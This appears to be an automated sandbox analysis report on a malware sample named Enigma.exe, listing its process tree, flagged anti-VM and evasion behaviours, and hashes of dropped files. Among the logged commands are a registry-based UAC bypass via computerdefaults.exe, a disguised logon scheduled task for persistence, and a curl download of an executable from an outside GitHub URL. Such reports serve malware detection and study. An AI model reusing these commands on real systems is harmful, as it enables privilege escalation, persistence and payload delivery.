3540 4704 kdmapper.exe 90 PID 4704 wrote to memory of 3540 4704 kdmapper.exe 90 PID 4704 wrote to memory of 3540 4704 kdmapper.exe 90 PID 3540 wrote to memory of 600 3540 cmd.exe 92 PID 3540 wrote to memory of 600 3540 cmd.exe 92 PID 3540 wrote to memory of 600 3540 cmd.exe 92 PID 4704 wrote to memory of 1572 4704 kdmapper.exe 99 PID 4704 wrote to memory of 1572 4704 kdmapper.exe 99 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 1572 wrote to memory of 3396 1572 fwe4mmr1.exe 55 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96 PID 4244 wrote to memory of 1736 4244 MicrosoftEdgeCP.exe 96
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3396 -
C:\Users\Admin\AppData\Local\Temp\Enigma.exe"C:\Users\Admin\AppData\Local\Temp\Enigma.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Checks BIOS information in registry
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks for VirtualBox DLLs, possible anti-VM trick
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start https://discord.gg/P5448HTPrE3⤵
- Checks computer location settings
PID:2276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color D3⤵PID:3760
-
-
C:\Windows\SysWOW64\kdmapper.exe"C:\Windows\SysWOW64\kdmapper.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\appledamage91697.vbs" /f4⤵
- Modifies registry class
PID:4304
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f4⤵
- Modifies registry class
PID:1892
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C computerdefaults.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\SysWOW64\ComputerDefaults.execomputerdefaults.exe5⤵PID:204
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT4⤵
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT5⤵
- Creates scheduled task(s)
PID:600
-
-
-
C:\Users\Admin\AppData\Local\Temp\fwe4mmr1.exe"C:\Users\Admin\AppData\Local\Temp\fwe4mmr1.exe" explorer.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1572
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl --silent https://raw.githubusercontent.com/killebolaaaaaaaaaaaaaaaaa/pizdechui/main/mservice64.exe --output C:\Windows\SysWOW64\physmeme.exe3⤵PID:5072
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:320
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:1552
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4244
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4496
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3728
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2964
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4216
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1736
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2936
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:2972
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5544
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
74KB
MD5d4fc49dc14f63895d997fa4940f24378
SHA13efb1437a7c5e46034147cbbc8db017c69d02c31
SHA256853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1
SHA512cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a
-
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize4KB
MD51bfe591a4fe3d91b03cdf26eaacd8f89
SHA1719c37c320f518ac168c86723724891950911cea
SHA2569cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8
SHA51202f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db
-
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\9UJK9646\favicon[1].ico
Filesize23KB
MD5ec2c34cadd4b5f4594415127380a85e6
SHA1e7e129270da0153510ef04a148d08702b980b679
SHA256128e20b3b15c65dd470cb9d0dc8fe10e2ff9f72fac99ee621b01a391ef6b81c7
SHA512c1997779ff5d0f74a7fbb359606dab83439c143fbdb52025495bdc3a7cb87188085eaf12cc434cbf63b3f8da5417c8a03f2e64f751c0a63508e4412ea4e7425c
-
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\Temp\~DF0ACE325FC620C7EA.TMP
Filesize20KB
MD5cd7be9d5db4419a13915ad4664b9254a
SHA1b732fc7bab501f2ffd461cc7f0b0053153fdb370
SHA256280dd15807b90c2db5c14d1c5933995104ecee2b17c5bdf8d8b00e543b486a23
SHA51238552a818f827d232c50ba730ec57f784b01d41a983d9216b9f1ec589442eaf8fd682d29def78670bdde0350b0f8eb2ba244df14e83cc2fa99fd871a07004510
-
Filesize
136KB
MD5ccd79426b7d78dc654ab7714486432b4
SHA1f214ea40bc25d2834140c9305a2c551b48f3535a
SHA256014de21dfebd669dced32a14b19ff312e485d1e1729b941e1d018d11fa5466cd
SHA51228a315f3a1eaf93435404037fa021f66cfbec06f764087808dc4135a3763f7779e708c5f1e905e578775cc513fa6d785c6a44266553aa30a0940126e4b8e5b57
-
Filesize
124KB
MD5e898826598a138f86f2aa80c0830707a
SHA11e912a5671f7786cc077f83146a0484e5a78729c
SHA256df443ccf551470b3f9f7d92faf51b3b85ae206dd08da3b6390ce9a6039b7253a
SHA5126827068b8580822ded1fb8447bdb038d0e00633f5ef7f480a8cdeaab6928ac23022a0b7a925058e0926ce9b41a6c8c22a5692e074621b2fccdb7edd29a0d4cfb
-
Filesize
16B
MD546295cac801e5d4857d09837238a6394
SHA144e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA2560f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA5128969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
-
Filesize
332B
MD58d3025fee45ebfb1225cd35458650e73
SHA1c8bd6b38097c746b8b0400ae4045cbe3a4f9d10b
SHA256ed14f2f68348ebeb3223fc6e0658d4c8bcc7ed27e70dc9cde17a4c917eb38395
SHA5120a055924c34b72bd57e338e649fa6381bce4162dae160313ef6a51e9cfb9ea9c7aa31f194a0803a3035e93d304fd1d7c292d9201a1c8fc1ac81599d854bf1281
-
Filesize
291B
MD5b2df2290f73e0eac3e80d78eb1ef3602
SHA19c079ec457fa774394508671948bf4147b9644b6
SHA256838554e15d2145dd1fc86d1fd4e91a263e859a02a199688f8509f6d73b38f652
SHA512791706e08f6171fa7a13a8bb70ae835dd1041e8f4cc72fe7ee2d081771222ef950dab0e17887ea88ba97ac73fca0b02f74cadda27e210b9c2b1877d8b542961d
-
Filesize
41B
MD55af87dfd673ba2115e2fcf5cfdb727ab
SHA1d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
-
C:\Users\Admin\AppData\Roaming\Gongle\aM7ZBOWC8S\wjyk7j4u.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Filesize48KB
MD5854a10c0922c27cfeffb77307ee80a71
SHA1bb8cbe8467bfc490031e29fb27fe50ec014f53e2
SHA256f696b1fa16384ecdec974e1bc9a8841fd50cb739818654dc3c7716821d52f69b
SHA512a5004751e3b89fdf4ce49492c46d09eca1a0177c57cacc6546deb236a17c747600748537687713516565330907a2541d3bba4b96cc3b106d589e38ef09b86162
-
Filesize
12KB
MD5cc67c1499b02ac9a13501ee55c83ba95
SHA1abffcbe78b02967d9d695ef369f36798f1558854
SHA2567d71e02e5034e079ba05eab36632850b8c25523eee94a77ac6e76efb8911558b
SHA51215124a9df7787b31c5ba6bb19906f50f1b16f2515a0de535efe119ddd1801770684146dc07c2476180250ae6768c69800f3aedbb251f3ff826fc34340c0e31b7
-
Filesize
1.4MB
MD56f2fdecc48e7d72ca1eb7f17a97e59ad
SHA1fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056
SHA25670e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809
SHA512fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b